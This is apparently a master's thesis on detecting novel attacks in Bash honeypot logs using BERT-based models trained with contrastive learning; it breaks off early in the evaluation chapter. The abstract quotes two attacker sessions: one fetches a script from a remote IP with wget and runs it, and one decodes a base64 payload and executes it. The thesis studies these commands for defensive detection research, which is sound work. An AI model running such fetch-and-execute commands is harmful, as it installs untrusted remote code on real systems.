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Abstract

In recent years, attacks targeting Bash environments have become increasingly
sophisticated, underscoring the need for advanced tools to efficiently analyze, under-
stand, and automate the detection of such threats. This thesis focuses on analyzing
Bash logs, particularly within honeypot environments, to identify patterns, detect
anomalies, and enhance system security.
Traditional methods like Tf-Idf offer a deterministic approach to analyzing com-
mand sequences. However, their limitation lies in recognizing only the syntax,
without understanding the deeper relationships between commands or the context
in which they are executed. For example, two seemingly different Bash sessions:
1: wget http://37.49.230.137/bins.sh ; chmod u+x bins.sh ; ./bins.sh
2: echo "IyEvY.. ..CEiCg==" | base64 -d > file ; chmod 777 file ;
bash file
both save and execute a file, but use different commands and syntax. A Tf-Idf-
based model would treat these sessions as unrelated due to the differences in their
composition, potentially missing critical insights in session similarity and anomaly
detection. This highlights the limitations of surface-level techniques, making ad-
vancements in session similarity analysis and anomaly detection essential, as critical
anomalies can easily be overlooked.
Additionally, the lack of labeled, supervised data further complicates the appli-
cation of standard machine-learning methods. However, Large Language Models
(LLMs), which have demonstrated superior capabilities in understanding natural
language, offer a promising solution. Using self-supervised learning approaches,
like contrastive learning, LLMs can learn valuable patterns from unlabeled Bash
data, capturing not only the syntax but also the semantic relationships between
commands. Despite their potential, the use of LLMs for analyzing Bash command
sequences remains under-explored, presenting an open challenge in the field.
The results of applying LLMs will demonstrate that they learn more than the basic
syntax, increasing accuracy by 5% compared to Tf-Idf in the command category
classification task. However, this happens when a few sessions are under analysis,
about 415, while problems arise when the datasets to analyze increase in numbers,
like in real-case scenarios (more than 200000 sessions in our analysis).
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Chapter 1

Introduction

In the evolving landscape of computer science and software development, the
command-line interface remains a fundamental tool for developers, system and
security administrators. Among various CLIs, the Bash shell serves as the default
interface in many Unix-based systems, composing around 96.3% of servers’ operative
systems worldwide. While the syntax of single Bash commands is easy to understand
in its clear online description, combining different commands in multiple cases
could lead to completely different outcomes.
Nowadays the method applied to recognize, and then block, possible attack scenarios
are statics and updated over time as a firewall does. Our methods instead want to
automatically catch possible novelty from the session received on a certain machine.

1.1 Problem definition
In Bash, grasping a session’s true meaning can be done in two main ways, syn-
tactically or semantically. Indeed, understanding the semantic meaning of it goes
beyond merely knowing their syntax ; it involves grasping the intent, context, and
potential impact of the commands, which is crucial for efficient, and safe system
management.
To explain better the difference:
The syntax of a Bash session is the set of rules that dictate how the commands
should be structured. It defines the order and combination of elements such as
commands, options, arguments, and operators.

On the other hand, the semantic meaning of Bash sessions encompasses a deeper
understanding of what the commands do, why they are used, and which is its
final objective. Grasping the semantic meaning could also help to extrapolate the
true objective of obfuscated session, which from a syntax point of view could be
considered harmless.
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Indeed a session with the same types of command could lead to slightly different
outcomes, and in the same way, two completely different sessions could maybe lead
to extremely similar results.

1.2 Thesis Objective
In this thesis, we explore a possible change of approach in which novelty can be
found nowadays, moving away from the static methods still used. The objective is
to analyze automatically the session received on a certain machine, finding possible
novelties that will harm the system.
In the bash analysis context, the lack of labeled, supervised data further com-
plicates the application of standard machine-learning methods, complicating the
development of good-performing applications. However, Large Language Models
(LLMs), which have demonstrated superior capabilities in understanding natural
language, offer a promising solution. Using self-supervised learning approaches,
like contrastive learning, LLMs can learn valuable patterns from unlabeled Bash
data, capturing not only the syntax but also the semantic relationships between
commands. Despite their potential, the use of LLMs for analyzing Bash command
sequences remains under-explored, presenting an open challenge in the field.
Ultimately, the goal is to determine whether the knowledge LLMs can acquire
through self-supervised learning, without labeled data, is sufficient to solve the
task of novelty detection.

1.3 Outline and Contribution
This thesis comprises several chapters analyzing different aspects of the goal pur-
sued. Chapter 2, will describe the state of the art of the bash cybersecurity
aspect. Moreover, this chapter also comprehends a specific toolkit, which is needed
to understand all the experiments done in the following sections. Chapter 3 will
instead introduce all the data used and their source, plus the description of the
choice done for the training of our model. Chapter 4 will focus instead on the
evaluation techniques created for testing our approach. Finally, Chapter 5 offers
conclusions, limitations of the realized work, and possible implementations for
future research.

Furthermore, this study contributes to the existing knowledge of log analysis:

• Applying for the first time the contrastive loss method for bash session analysis.
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• Creating a visual representation of bash sessions, representing them into
clusters.

• Creating new evaluation metrics for space representation and novelty analysis
sessions.
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Chapter 2

Literature Review and
Toolkit

This chapter provides a comprehensive overview of the state of the art in the field
of bash session analysis and introduces the toolkit needed and used throughout
this thesis.

2.1 State of the art
A comprehensive review of existing literature provides insights into the current state
of the art of Bash session management. It provides an overview of the rationale
behind the chosen research methods and techniques used as a starting base, including
attention given to the limitations associated with the chosen methodologies.

2.1.1 Cyber threats analysis method
In recent years, the analysis of cyber logs in the research field has changed and
shifted from standard methods to the ones that apply AI. Here are the main types
of methods used in research that can be applied to Bash session analysis.

Starting from traditional NLP methods, like Bag of Words [1] and Term
Frequency-Inverse Document Frequency (TFIDF) [2], these techniques have been
used to create a syntactic representation of logs. An example is the one proposed
by Suh-Lee [3] that applies Tf-Idf for feature extrapolation for detecting hidden
information in unstructured log messages. These representations are then analyzed
with different approaches that can shift from space-distance ones like cosine simi-
larity, or key-words comparison.
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Tf-Idf will be the baseline used to compare with the more complex LLM architec-
tures.

Passing to more complex methods we have the Neural Network based. The
most famous one is surely Word2Vec [4] which starts to be able to acquire a bit of
semantics. A clear use of it is made by M. Boffa et al [5] which uses Word2Vec
(W2V) to learn representations from honeypot logs. Others follow similar ideas
(Dietmüller et al [6]; Houidi et al [7]) where they apply different algorithms to learn
representations, e.g., from network data.
The problem with this technique is that as time passes, more recent, and more
efficient, neural network architectures appear, outclassing the oldest ones.

Next, we have the transformer-based architecture, which is the one more taken
into account in this thesis. Specifically, encoder-based model like BERT [8] have
gained popularity due to their ability to capture deep contextual understanding by
processing text bi-directionally, which allows them to better grasp the nuances of
language compared to other approaches. Their versatility and high performance
across a wide range of NLP tasks, and the ease of fine-tuning for specific appli-
cations, have made them the go-to choice for many researchers and practitioners.
Indeed also in the cybersecurity field, many models have appeared. An example is
SecureBERT [9] which is trained over specific cyber natural language, or Bert-Log
[10] which is trained to understand the semantic meaning of log messages. Another
example, closest to this work because analyzes bash logs, is LogPrécis [11] by
M.Boffa which can divide a bash session into the different components defined by
the MITRE attack types.
In this thesis, all the models analyzed are part of this section, specifically, they are
all BERT-based models.

Last we have the application of complete LLMs, which since being in its early
research stages it is quite difficult to find works for specific tasks like cybersecurity.
An example could be Security Copilot which is a cybersecurity tool developed by
Microsoft that integrates with GPT-4 to assist security professionals in managing
and responding to threats. In this case, it will enhance security operations by
providing real-time insights, automating threat detection, and offering recommenda-
tions based on the analysis of vast amounts of security data. Another example could
be SecurityLLM [12] where a BERT model is used for its ability to understand the
context and semantics of security-related text, such as log files and alerts. These
informations are then analyzed by a bigger and more complex LLM, Falcon-40B
[13] in this case, enhancing SecurityLLM’s capabilities by providing a broader
context understanding and acting as an assistant to network security analysts.
Indeed with respect to the BERT-based architecture the models used here are
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extremely more complex and with a lot more parameters, making it difficult for us
to have the possibility to train it for specific tasks. Indeed for these motives LLMs
approach is not taken into account in the thesis.

2.2 Toolkit
The toolkit proposed integrates a range of methodologies, algorithms, and utilities,
all aimed at facilitating the user’s understanding of the following chapters. This
mirrors somehow my process of understanding all the treated arguments during the
thesis research. If you are already well known with these arguments this section
could be avoided.

2.2.1 Large language models
Large language models are advanced artificial intelligence systems designed specifi-
cally to understand and generate human or human-derived language. By training
them on different datasets, which usually include billions of words and sentences,
LLMs could learn complex patterns, semantics, and even context, enabling them to
resolve a wide range of tasks such as text generation, translation, summarization,
question-answering, and a lot more.
These models have significantly impacted natural language processing (NLP), pow-
ering various applications from chatbots and virtual assistants to content creation
tools and more. Nowadays the most complex one can also elaborate images and
create videos starting from text description (DALL-E [14] and Sora [15]).

LLM working principle

Although there are thousands of different LLMs implementations, such as the most
famous GPT-3.5 [16] and GPT-4 [17] by OpenAI, to the simpler and smaller BERT
by Google, their base working principle is about the same. Indeed they have a lot
of components in common, let’s explore the most important:

• Tokenizer: is the one that generates Tokens which are the fundamental
unit, the “atom” of Large Language Models. Tokenization is the process of
translating strings (i.e. text) and converting them into sequences of tokens and
vice versa. This process is needed because models only understand numbers,
so tokenizers convert text inputs into numerical data. The process of the
sentence split can be done following different rules that change depending on
the model chosen. Let’s explain the most famous tokenization techniques:

1. Byte-Pair-Encoding [18]: it’s a data compression algorithm that starts
by selecting individual uni-grams (letters of the alphabet) and then merges
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them into n-grams by selecting the most frequent in the training data.
The size of the tokens increases until the maximum number of possible
tokens is reached.

2. WordPiece [19]: like BPE, wordpiece uses a bottom-up approach that
starts with the single alphabet characters and then tries to insert groups
of them choosing not only the most frequent but also the one with the
highest likelihood.

3. SentencePiece [20]: a widely used method that works over BPE that
tries to solve the “multiple sub-word segmentation" problem. Indeed,
the objective is to select tokens that appear frequently (to measure the
importance of the word), but differently (to maximize the information
captured). An example could be: "Tokenization" divided into "Token" and
"-ization".

• Vocabulary: the set of the independent tokens selected during the tok-
enization process. The vocabulary size influences also the model’s ability to
understand and generate text, a larger vocabulary provides more expressive
power but also increases computational complexity!

• Model: the "intelligent" part of the LLM, designed to understand and generate
human language. It consists of a machine learning system, trained with a
large number of data to solve different tasks. Nowadays, its main component
is the transformer which is widely explained in subsection 2.2.2.

• Output: the text or data generated by the model in response to a given input
or prompt. The output makes it possible to evaluate the model’s performance.

2.2.2 LLM heart: The Transformer
Everything starts with the transformer [21] which is a new architecture proposed
by Google in 2017 to substitute previous solutions in most of the NLP applications.
Before that, everything was done with Convolutional and Recursive Neural Networks
(RNN), where their main problem was the impossibility of doing parallel training,
and therefore being unable to create big Models with a lot of parameters.
The general structure of the transformer is composed of two big functional parts:
the encoder and the decoder as represented in figure 2.1. Depending on the different
implementations it is possible to increase or decrease the complexity of the two
elements by developing new architectures on the original transformer modules.

Let’s now analyze the single components:
• Embedding Layer: a type of hidden layer that maps discrete tokens obtained

from the tokenizer into dense vectors of fixed size (Embeddings). This transfor-
mation helps the network learn relationships between inputs and process the
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Figure 2.1: Transformer base architecture - source [21].

data more efficiently. Indeed, they convert words or phrases into continuous
vectors that capture semantic meaning.

• Positional Encoding: Since the model does not have the awareness of which
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position a token corresponds to in the sentence, the positional encoder has
been created. Indeed, its purpose is to provide tokens with information about
their positions within a sequence. It uses sinusoidal functions (sine and cosine)
to generate unique positional vectors for each token, which are then added to
their embeddings. In this way, the model has an understanding of the token
position, and also in the next transformer steps it can ensure that sequence
order is maintained.

• Encoder: It analyzes the input text to identify and extract key information,
and convert it into a continuous representation which is then forwarded to the
decoder.

• Decoder: It is the part that generates the output of the model using the
information extracted by the encoder. At each step, it outputs the most
suitable token and, to generate the next token in the sequence, in addition
to the contextualized representation of the encoder, it considers the previous
outputs. As the encoder, the decoder utilizes several layers, each one composed
of different elements some of which are shared with the encoder. Two are the
new elements introduced:

• Linear and softmax layer: transforms the decoder’s output to assign a
probability to each token in the vocabulary. Afterwards, the probability can
be used to choose the best token to output.

• Shared parts: Both encoder and decoder have equal parts that work in
similar ways, here is their description:

– Feed Forward: This component is a multi-layer perceptron, composed
of at least three layers: the input, hidden, and output layers. This neural
network aims to introduce a non-linear transformation inside the model,
allowing it to learn more complex patterns and relationships in the data.

– Layer Normalization and Residual Connections: each layer in-
cludes normalization and residual connections to stabilize and improve
the training process.

– MultiHead-attention mechanism: instead of implementing a single
attention layer (more description in section 2.2.2) to allow the model
to focus on different parts of the input sequence simultaneously, more
attention layers running in parallel are used. The final output of each
attention layer is then concatenated and the result is linearly transformed
to produce the output. This architectural choice has the dual benefits of
a richer representation without increasing the computational cost. Indeed,
by simultaneously focusing on various segments of the input, the model
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can identify more intricate relationships within the data but the overall
computational cost is comparable to that of single-head attention working
on the same dimensionality.

– Masked MultiHead-attention mechanism: considering that the
attention of the decoder must be unidirectional and the model cannot
"look ahead", this layer introduces a mask. This way, the model predicts
the next word exclusively from the preceding context, as in a language
flow.

Self-attention - general idea

The breaking novelty is the way the attention between tokens is treated inside
the transformer. Self-attention is the mechanism used to discern the intricate
dependencies and relationships between input sequences and the single element
composing it. It allows the model to weigh the importance of different parts of the
input data relative to each other! In particular, if the following sentence is passed
to the transformer:

"The animal didn’t cross the street because it was too tired"
The transformer, through self-attention, can associate the token "it", which

syntactically does not have a lot of importance, with the subject of the sentence
"animal".

Self-attention - details

After the tokenization of the sentence a fixed number of tokens, which can change
for different models, is passed to the self-attention layer. Afterward, from each
input vector, three vectors are obtained: query, key, and value. These are calculated
by multiplying the input with different weight matrices Wq, Wk, and Wv which are
obtained during the training phase. By deeper analysis, each vector has its own
meaning:

• The query vector has the property to be the “information seeker”. It’s like the
model formulating questions to determine which words part of the sentence
are most relevant to the given word.

• The key vector gives context to words. It determines how much a word (or
part of the sentence) responds to a query. Essentially, it acts as a contextual
tag or meta-information.

• The value vector represents the inherent meaning of a word.

To better understand how self-attention works, the following operations are
divided into 5 phases:
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1. Evaluate the “score” for each input as the word with itself and the word with
all the other inputs as the dot product between the query and the key vector.
So in this way, if we have 10 words as input every word will have 10 score
values.

score1,1 = q1 · k1, score1,2 = q1 · k2, ..., score1,n = q1 · kn

2. Divide each score by
√

dk where dk is the dimension of the key vector. This
operation is fundamental in stabilizing the gradient. Indeed, without the
scaling factor, the dot products of the query and key vectors can become very
large, especially when dk is high.

3. Pass the scores to a SoftMax function to normalize them to ensure that all
values are positive and their sum is equal to 1.

4. Multiply the value vector by the SoftMax score (step 3). In this way, only the
relevant words will have high values in the output vector.

5. Sum up the weighted value vectors (step 4). This produces the output of the
self-attention layer that can be used in the following layers of the transformer.

In the actual implementation, however, this calculation is done in matrix form
for faster processing. With matrix multiplication steps from 2 to 5 are resolved
with:

SoftMax (Q KT

√
dk

) V

where Q, K, and V are respectively the query, key, and value matrices.

2.2.3 BERT model
Now let’s talk a bit about Bert and Bert-base models since all those taken into
account in this thesis are like that.

The Bidirectional Encoder Representations from Transformers (BERT) was
proposed by Google in 2018. Its goal is to improve the fine-tuning strategy
proposing a bidirectional language model that is able to retrieve context in both
directions (extremely useful for sentence-level tasks). Moreover, in BERT, also the
attention mechanism is bidirectional, allowing each token to consider both preceding
and following tokens in a sequence. This is achieved through self-attention, where
each token attends to every other token to build a context-aware representation.
Unlike unidirectional models, which only attend to earlier tokens (the one on their
left), BERT’s bidirectional approach provides a comprehensive understanding of
context, enhancing its performance on various language tasks.
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Figure 2.2: Overall pre-training and fine-tuning procedures for BERT - source [8].

BERT pre-train - Domain Adaptation

What BERT changes from the traditional approach is how they have trained their
model, because they do not use traditional left-to-right or right-to-left language
models to pre-train it. Instead, they used two self-supervised tasks as shown in
figure 2.2. During this phase, the model is trained on unlabelled data over different
tasks. The goal of this step is to estimate parameters that can be a good base
for all future problems (unified architecture across different tasks). This process
is foundamental to adapt the model to learn the scope of its future work. For
example, the standard BERT developers have adapted its model to learn the
English composition and structure. In my case instead, I have adapted my model
to learn the configuration and architecture of bash data, using one of the techniques
described next. The following report the two unsupervised tasks used for BERT
pre-training:

• Task 1 - Masked LM: in MLM the training has been performed by randomly
masking input sentence tokens (with a percentage of 15% with some special
considerations). The goal of the model is simply to predict the masked words,
using the final hidden state evaluating the cross entropy loss. This technique
allows BERT to learn bidirectional context, as it attends to both the left and
right sides of the masked token to obtain the correct prediction.

• Task 2 - Next Sentence Prediction (NSP): it aim to understand the
relationship between two sentences. Specifically, it is possible to derive it from
any monolingual corpus. Indeed, when choosing the sentences A and B for
each pre-training example, 50% of the time B is the actual next sentence that
follows A (labeled as IsNext), and 50% of the time it is a random sentence
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from the corpus (labeled as NotNext). The object of the model is to tell
if the next sentence is the real or the wrong one, basically, it’s a binarized
next-sentence prediction task.

BERT fine-tuning

Fine-tuning consists of taking the pre-trained parameters and re-training them for
a specific downstream task using labeled data. Therefore, specific fine-tuning is
necessary for each downstream task. Some of the most known tasks are sentiment
analysis or question answering. The model’s weights are adjusted during this
process to optimize performance for the task, typically with a smaller learning rate
to avoid catastrophic forgetting of the pre-trained knowledge. Fine-tuning usually
requires fewer epochs and computational resources compared to pre-training, as
the model already has a strong foundation in language understanding.

Bert world

Indeed Bert, given its low number of parameters and its easy training methods
while usually achieving very good performance, created the foundation for a lot of
different models. The first to be mentioned is RoBERTa [22], which is a Robustly
Optimized BERT Pretraining Approach (also used as a comparison in the thesis).
It maintains the same dimension as Bert but it will perform a better training
procedure for achieving better results. Another notable bert-base model used in the
thesis is Code-Bert [23] which is a pre-trained language model specifically designed
for programming languages and natural language. Indeed, with respect to Bert,
the main dataset used for training is composed of multiple types of programming
languages, like Python, PHP, java, etc... and their corresponding natural language
description. CodeBert has been chosen for its property of being able to analyze
different types of code, even if bash has not been used as training data it could
help in its understanding. Another model that can be mentioned is UniXcoder [24],
which is CodeBert evolution, but in the end has not been used because provided
worst result in the LogPrecis 2.2.5 application.

2.2.4 SimCSE Model
Given our goal of detecting novel Bash attacks, we need an effective method to
compare Bash sessions and determine whether the session under analysis is novel
or not. The most suitable method to resolve this problem is to exploit the intrinsic
process of the transformer architecture. After the encoder processes each token they
will obtain their specific representation in floating point precision, in a dimension
which differs for different models. These descriptions are called embeddings, which
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are dense, continuous vector representations of tokens (words, subwords, or charac-
ters) in a fixed-dimensional space. Moreover, if we compact all the embedding in
a single one we have a point in space representation for a sentence. In this way,
the sentence comparison can be easily done with a distance evaluation method
like cosine similarity, which achieves good results also in high dimensional spaces
(bert-base embedding dimension is 768).

The most known Bert-based models for this task are indeed Sentence-Bert[25],
which uses two siamese Bert models to compare the output embedding through an
ad hoc pooling layer and cosine similarity, and SimCSE [26] which in 2021 propose a
new approach for the training. Since the biggest problem in training the Transformer
models is the need to use large amounts of data, all the supervised approaches
are discarded, leaving us with the most promising self-supervised method, the one
proposed and utilized by SimCSE.

SimCSE introduces a new approach for learning Sentence embedding using
contrastive learning, which is a method that allows models to extract meaningful
representations from both labeled and unlabeled data. In this method, using
dropout the model generates two positive instances of the same input sentence,
which serves as a form of data augmentation. This enables the model to learn
from different variations of the same input, encouraging them to be represented
closely in the embedding space. In our case, the self-supervised approach is the
one implemented since the unavailability of labeled data. Without a label, from
the self-supervised part image 2.3, is possible to see the problem of this approach.
If a positive sentence is present in the batch, like the dog in the red rectangle
which is similar to the anchor one, the model will consider it as a negative sentence.
This can create some problems, but we bet that given the knowledge learned
with the domain adaptation on Bash data, the model will be able to do a correct
classification. Indeed, in the supervised contrastive this problem will not arise.

SimCSE researcher noticed that by passing the same sentence more times in a pre-
trained encoder to which standard dropout is applied, the embeddings returned are
indeed similar but not equal. Dropout indeed acts as minimal “data augmentation”
of the hidden representations, while removing it leads to a representation collapse,
causing overfitting on specifics neurons.
Dropout refers to a regularization technique used during the training of neural
networks. It works by randomly "dropping out" (i.e., setting to zero) a proportion
of the neurons in the network during each training iteration. This proportion is
defined by choosing a parameter p that gives a configuration zi. This prevents
neurons from relying too heavily on specific features or co-adapting (nodes that
learn the errors of the other nodes) to each other, which can lead to overfitting.
Image reference is 2.4.

As the contrastive learning figure 2.3 shows, this approach can be followed in
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Figure 2.3: Contrastive learning approach - source [27].

Figure 2.4: Dropout example applied to a neural network - source [28].

both supervised and self-supervised ways. Indeed SimCSE has done both of them,
represented by its general scheme in 2.5.

Setting the supervised approach aside, which needs for every sentence xi its
entailment xi+ and its contradiction xi−, which we are unable to provide for our
bash session datasets, let’s delve in deep into the self-supervised one.
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Figure 2.5: (a) Self-Supervised SimCSE predicts the input sentence itself from
in-batch negatives, with different hidden dropout masks applied. (b) Supervised
SimCSE leverages the NLI datasets and takes the entailment (premise- hypothesis)
pairs as positives, and contradiction pairs as well as other in-batch instances as
negatives - source [26].

Self-Supervised SimCSE

The goal of self-supervised SimCSE is to predict the input sentence itself from
the others present in the batch that are considered negative, applying different
hidden dropout masks. The goal during the train is to minimize the distance
between two positive embeddings while maximizing the distance to other sentences
in the same batch. They simply feed the same input to the encoder twice and
get two embeddings with different dropout masks z, z’, where z is the standard
dropout mask in the Transformer library (due to experiment they have seen that
the standard dropout achieves the best results). Given hz

i = fθ(xi, z) and N as the
number of sentences in a mini-batch a specific training objective is used:

li = − log
exp sim(hzi
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(2.1)

where τ is a temperature parameter that can change how much to spread the
embedding of the "negative" sentence within the batch. This method will be the
one adopted for all the contrastive loss training for our models.

2.2.5 LogPrécis
LogPrécis is a CodeBert-Base model developed by my tutor Matteo Boffa available
on GitHub [29]. I dedicate a small section describing this project because in section
4.1, I have used LogPrécis to find similar sessions in parallel with the edit distance.
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The purpose of LogPrécis is to receive malicious shell sessions as input. It will
then automatically identify and assign different attacker tactics, which are the ones
proposed by MITRE [30], to each portion of the session. In this way, the result is to
create a unique attack fingerprint, reducing the total number of sessions analyzed
into a few different fingerprints. Moreover, the fingerprint classification can be
done in 3 different ways, which are statement, word, and token classification as
shown in figure 2.6. However, word classification will be the only one used since it
obtains better classification performance.

Figure 2.6: Different types of logprecis tactics classifications - source [11].

LogPrécis fingerprint problem

In the end, it is not all pink and flowers, because also fingerprints are not absolute
session identifiers. Indeed, especially with long sessions, can happen that almost
identical sessions, in which change for example only the parameter of the passwd
command, receive as label different fingerprints. This happens because, especially
during the type of attack change like represented in image 2.6 between the command
stop and wget, the delimiter ; one time will be classified as MITRE label impact
and another time as label execution.
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Chapter 3

Model construction

This chapter will examine the datasets used during model training, highlighting
how data selection and preprocessing have been done. This chapter aims also
to provide a comprehensive overview of the data used and its online availability.
Moreover, an explicit description of the model used and its training parameters is
provided.

3.1 Data Analisys

One of the biggest problems of training transformer-like architecture is the need
for a large amount of data. For example, a model like BERT, which nowadays
can be considered small, has been trained with 13 GB of data, mostly taken from
free-access datasets like the ones available from Wikipedia. Undoubtedly working
with natural language could resolve this problem since there are a lot of public
datasets with terabytes of data. Unfortunately, this is not the case for us.
The availability of bash datasets online is very poor, and the bulkiest ones are
not usable for our purposes. One example is the UNIX User Data [31], which
Contains 9 sets of sanitized user data drawn from the command histories of 8
UNIX computers. This could be a good opportunity since what we are searching
for is exactly the command histories of users who try to execute commands on
some machines. The problem is that the "private" data within these sessions is
obscured and replaced with some "<1> <3>" where the number 1 or 3 indicates
the number of words/text divided by spaces anonymized. This reduces the sessions
to something like that: SOF cd <1> ls -laF | more cat <3> > <1> exit EOF.

After expressing the difficulties of finding a good bash session dataset let’s
analyze the ones obtained and used in the thesis.
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3.1.1 Cyberlab
CyberLab [32] is a dataset containing all the data collected by the CyberLab
honeynet experiment. It is composed of shell logs recorded by over 50 nodes
running Cowrie, a popular Unix shell honeypot that can be found on GitHub [33],
installed at universities and companies in Europe and the US. The collection is
composed of about 233000 entries and spans from May 2019 to February 2020.
Notably, on Nov. 8th, 2019 the honeypots were updated from version Cowrie 1.6.0
to version 2.0.2, and some high-interaction Cowrie Proxy deployments have been
added to the setup. This will be noted further during a deep dataset analysis in the
novelty detection evaluation section 4.3. This dataset in our case will be completely
used only for evaluation purposes.

3.1.2 NL2Bash
NL2Bash [34] is a paper published in 2018 where its main purpose was to bridge the
gap between natural language and command-line interfaces by creating a system
that can translate natural language instructions into Bash commands. Nowadays
that role can be completely substituted by bigger and more complex models like
GPT-4o, achieving also better results. But the good thing this paper brought is
the two bash datasets that we are gonna use in section 4.2.

Talking about the dataset, the corpus consists of 12607 rows containing text
command pairs, where each pair consists of:

• A one-line Bash command scraped from the web.

• An expert-generated natural language description.

To create such a precise natural language description for each Bash session the
NL2Bash group hired 10 upwork freelancers who are familiar with shell scripting,
paying them to write the session description based on their background knowledge
and the web page context from which the session has been obtained. Moreover, some
limitations have been set, like the restriction of the natural language description to
be a single sentence and the Bash command to be a one-liner.

In the end, the results are something like:

• Bash: sudo cp mymodule.ko /lib/modules/$(uname -r)/kernel/drivers/

• NL Description: Copy loadable kernel module "mymodule.ko" to the drivers in
modules directory matching current kernel.

As represented in figure 3.1 and 3.2 the dataset provides a wide range of different
commands, with a prevalence of data interaction ones. All the sessions provided
are benevolent ones, which means that they do have not a second purpose to steal
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Figure 3.1: Top 50 most frequently
used bash utilities - source [34].

Figure 3.2: Top 52 least frequently used
bash utilities - source [34].

or damage the data of the user/server. Furthermore, this dataset is composed
of multiple commands that actually do the same, or very similar, operations if
executed on the machine but with some changes in the syntax of the command itself.
This property will be next used when grouping sessions with the same semantic
meaning but with different syntax.

3.1.3 Bash Snippets

The Bash snippets [35] dataset is created by extracting Snippets from repositories
with over 10,000 stars of different programming languages, where Bash is one of
them. The dataset contains around 60 million rows and has been processed with
Pyspark. The next step consists of filtering all the rows containing Bash-related
information reducing it to 260000 rows. According to the dataset creators "For
each repository, snippets were created from the main branch by going through
each text file and extracting blocks of 5 lines every 5 lines." This means we have
to gather together pieces of code gathered from the same webpage. Hence, we
concatenate chunks extracted and fetched from the same source in temporal order.
The results are few, but very long sessions, around 500, not suited for contrastive
loss training but usable for the domain adaptation step.
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3.1.4 HaaS
Honeypot as a service is a dataset constructed starting from the honeypot malicious
session provided by CZ.NIC [36]. The starting collection is composed of more
than 200 million rows, however, the majority are noisy data or repetition of rows.
The first step will then be composed of cleaning and number reduction of the
session available. For example, the first easy filtering is taking only the sessions
that do not contain empty commands and the ones that have done a "successful
login" in the system. After that, the rows decrease to 128 million. Since many
different commands are received from the same IP, the commands are aggregated
over the addresses. Looking at graph 3.3 we also decided that the aggregation of
the commands from the same IP can be done only if the inter-command time does
not surpass 20 seconds, to avoid grouping commands from different sessions. After
taking the unique ones of this subset the remaining are about 1 million.

Figure 3.3: HaaS inter-command time between packets from the same IP.

Doing a deep analysis of the session, we found that a lot of rows repeat themselves,
in particular sessions with a number of commands around 12 and 14. After removing
as many duplicates as we could, and removing too long ones (more than 5000
commands), the remaining session count 338345.

3.2 Model analysis
As discussed in section 2.2.4 the training method adopted to resolve our task is
based on the self-supervised SimCSE. Since the GitHub repository of the model
is a bit complex, caused of all the experiments done in their paper, my model
is based on the repository of Hayato-Tsukagoshi [37] which proposes a simple
implementation of it without performance variation. Given that repository, I have
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re-elaborated it and changed its structure to a more scalable one, similar to the
project developed by my tutor, LogPrécis [29]. This process has been done both to
increase my learning of Python structure and to achieve a deep understanding of
the Transformer architecture and training steps to be followed.

3.2.1 Evaluation Problem
After starting the training process the first problem appeared. How can I establish
the model’s goodness during the training? Since the original SimCSE works on
natural language a lot of evaluation datasets already exist for the purpose. Indeed
they evaluated the model on standard semantic textual [38](STS) tasks. The sts
datasets are composed of 2 sentences in each row with a label of the similarity that
spaces from 0 to 5, where 5 is the equal meaning of the two sentences, instead,
0 means no correlation. The task is evaluated on Pearson’s Rank Correlation or
Spearman’s rank correlation. However, the problem in our field, is that such a
dataset for bash sessions does not exist. Here two streets can be taken: (i) we
create a similar dataset with the same method, (ii) we base the choice on the loss
of the model established on a validation dataset.

The first way is the one discarded because creating such a dataset will require
a great amount of time and more than one person. More people are needed to
average the similarity score given to each pair of sessions and to achieve a smoother
value near its correct similarity score. Since the first method is problematic the
second is the one adopted. After that, test methods explained in depth in chapter
4 are applied.

3.2.2 Methodology
According to good principle, to enable the model to effectively learn the syntax,
composition, and structure of Bash sessions, I first employ Masked Language
Modeling (MLM) over Bash data. This essential step ensures that the model
becomes familiar with the distinctive features of Bash sessions, learning how
commands are organized and arranged. Next, As described in the previous section
2.2.4, given the lack of labeled data, the most suitable approach for learning sentence
embedding is Unsupervised SimCSE. CodeBERT is the main model selected for
training, given its strong performance in similar Bash analysis tasks like LogPrécis
[11]. The data used for training and validation is the combination of the datasets
described before, specifically a concatenation of Haas, NL2Bash, with a total of
about 350000 rows. The percentage of training-validation data has been set as
80% and 20% with a set seed. In this way, the training and validation split are
always the same and so, the validation loss of different models can be comparable.
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In the end, the model that has been followed the SimCSE bash training are two:

• Code-Bert: The first step is a pre-training with a masked language model
task. The training dataset is the same one described before composed of
300000 sessions. After the pre-training, I started the contrastive loss one with
different learning rates, choosing the best model looking at the validation loss
in figure 3.4a.

• LogPrécis: Taking the LogPrécis model, which has already undergone the
MLM task on Bash data, I proceeded directly with SimCSE-like training, equal
to the approach used for CodeBERT. The validation losses are represented in
figure 3.4b, used for the choice of the best-performing model.

I want to specify that also the 5 ∗ 10−5 lr has been used, which has not been rep-
resented in the images for out of the scale error, caused by catastrophic forgetting.
Indeed, this high learning rate achieves a good loss value in less time with respect
to the others, reaching good values in one epoch time. However, in this way, the
training dataset will not be completely exploited because of a too-fast convergence.

As it is possible to see the trend in images 3.4 is quite similar for both mod-
els and learning rate. In the end, the best models selected are the ones trained
with a learning rate equal to 5 ∗ 10−6. In the next sections, this will be the model
under testing.

All the model training has been done on the Politecnico HPC [39] cluster composed
of 57 nodes and 1824 computing cores. Of this, 6 nodes are mainly used which
comprehend 4 Nvidia Tesla V100 SXM2 with 32 GB of VRAM each and 5120 Cuda
cores for a total of 24 GPUs. The operating system running is CentOS 7.6 with
SLURM 18.08.8 as a job scheduler.

Furthermore, all the code debugging has been done on the BigData@Polito [40]
Cluster composed of more than 36 nodes. In this case, only 2 nodes have GPU
availability, which consists of 2 Nvidia Tesla V100 with 16 GB of VRAM each, for
a total of 4 GPUs.
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(a) Code-Bert learning rate.

(b) LogPrcis learning rates.

Figure 3.4: Validation loss during model training.
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Chapter 4

Evaluation Techniques

This chapter’s purpose is to explore and analyze the different evaluation techniques
that are critical in assessing the performance and effectiveness of models and
algorithms developed throughout this research. In the context of this thesis,
evaluation plays a central role in determining how well the proposed methods can
achieve their goals, if the method proposed has some problem, or if already existing
algorithms work in a better way.

This chapter proposes three different evaluation techniques which are developed
sequentially in time:

1. Similarity approach: given an origin session, a positively labeled session,
and 8 negative ones, classify the most similar to the origin one.

2. NL2Bash Approach: from NL2Bash dataset 415 sessions are manually
divided into labels. For each point find the nearest neighbor and if the label
is equal, the result is correct.

3. Novelty Detection: given a ground truth (GT) check if the next sessions
received are novelty or not. To do it, the similarity between the GT and the
novelty is evaluated.

The tasks are increasingly difficult since the first compares 9 sessions per time,
the second 415, and the third more than 30000. The insights gained from this
evaluation process not only help in obtaining the best algorithm/model but also
